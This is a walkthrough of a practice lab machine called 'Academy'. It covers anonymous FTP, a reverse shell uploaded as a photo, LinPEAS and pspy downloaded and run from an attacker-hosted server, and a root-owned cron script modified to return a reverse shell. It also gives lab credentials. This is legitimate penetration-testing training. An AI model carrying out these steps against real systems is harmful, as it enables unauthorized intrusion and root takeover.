Walkthrough: Academy
The Academy box goes from an anonymous FTP note to a web shell via a vulnerable upload feature, then to root through a cron job the low-privileged user can write to.
Credentials
Login Username: Root
Login Password: Tcm
Get an IP and Scan
Pull an IP with DHCP, then show the host's address:
dhclient
ip a
dhclientconfigures network interfaces using DHCP.ip adisplays the host's IP address.
Run an nmap scan against the host IP:
nmap -A -p- -T4 192.168.57.8
- Ports 21, 22, and 80 are open.
- Anonymous FTP seems to be allowed.
- Apache is running version 2.4.38, which might be outdated and vulnerable. Searchsploit returns
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' Local Privilege Escalation.
Enumerate FTP
Connect to FTP with anonymous access:
ftp 192.168.57.8
Log in with login: anonymous and a blank password. We discover a note.txt. Download it and view it:
get note.txt
Then view it locally with cat.
The note tells us that StudentRegno: 10201321 is used as a username, and a potential password is student. The login works:
Upload a Reverse Shell
Upload a reverse shell through the Student Photo upload feature (one from Pentestmonkey works). Start a listener locally:
nc -lvnp 4444
Right-click the uploaded image to find where it lives on the target, then browse to it and hit enter: http://192.168.57.8/academy/studentphoto/shell.php
We got a shell. Now to escalate to root.
Check for sudo
First see whether we have sudo and where it lives (an admin could have moved it):
sudo -l
which sudo
locate sudo
These commands aren't usable here.
LinPEAS for Privesc
Use LinPEAS: https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/builder/linpeas_parts/linpeas_base.sh
Paste the code into a file:
gedit linpeas.sh
Start a Python server:
python3 -m http.server 80
Get linpeas.sh onto the box. A good place for it is /tmp:
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
RED/YELLOW means 95% a privesc vector. We find passwords:
And an interesting config file at /var/www/html/academy/includes/config.php:
Looking at /etc/passwd, we notice the username grimmie again. Per the note.txt pulled via FTP, the admin likes using the same password everywhere:
This could be a login to the box: grimmie:My_V3ryS3cur3_P4ss.
SSH In as grimmie
ssh grimmie@192.168.57.8
And we are in:
Watch Processes with pspy
Download PsPy64 and check what processes are running: https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
In the SSH terminal (the python3 server should still be running):
wget http://192.168.57.5/pspy64
chmod +x pspy64
./pspy64
We discover backup.sh is running every minute:
Abuse the Cron Job
Since backup.sh runs on the minute, put a bash reverse shell one-liner into it so it hands us a root shell when it executes:
nano /home/grimmie/backup.sh
Set the local IP and a new port that's not in use, then start a new listener and wait for the connection:
nc -lvnp 8081
And we have root.
Additional Enumeration
Run a Nikto scan:
nikto -h http://192.168.57.8
The scan reveals that http://192.168.57.8/phpmyadmin/ChangeLog is unprotected. Reading through the log, we discover that we can export db_export.php.
Use ffuf to enumerate directories:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.57.8/FUZZ
FUZZ sets the parameter after the wordlist to plug in directories after the / home directory.
This only tells us there are two directories: academy and phpmyadmin. We can use Dirbuster to enumerate further.
Enumerate http://192.168.57.8 with Dirbuster to look for an admin panel. Dirbuster reveals a lot, but one stands out: http://192.168.57.8/academy/admin. We also discover http://192.168.57.8/academy/db, which has an onlinecourse.sql containing a username and hash for the admin account.
MD5-decrypting the hash reveals the password as admin, and we successfully log in at http://192.168.57.8/academy/admin: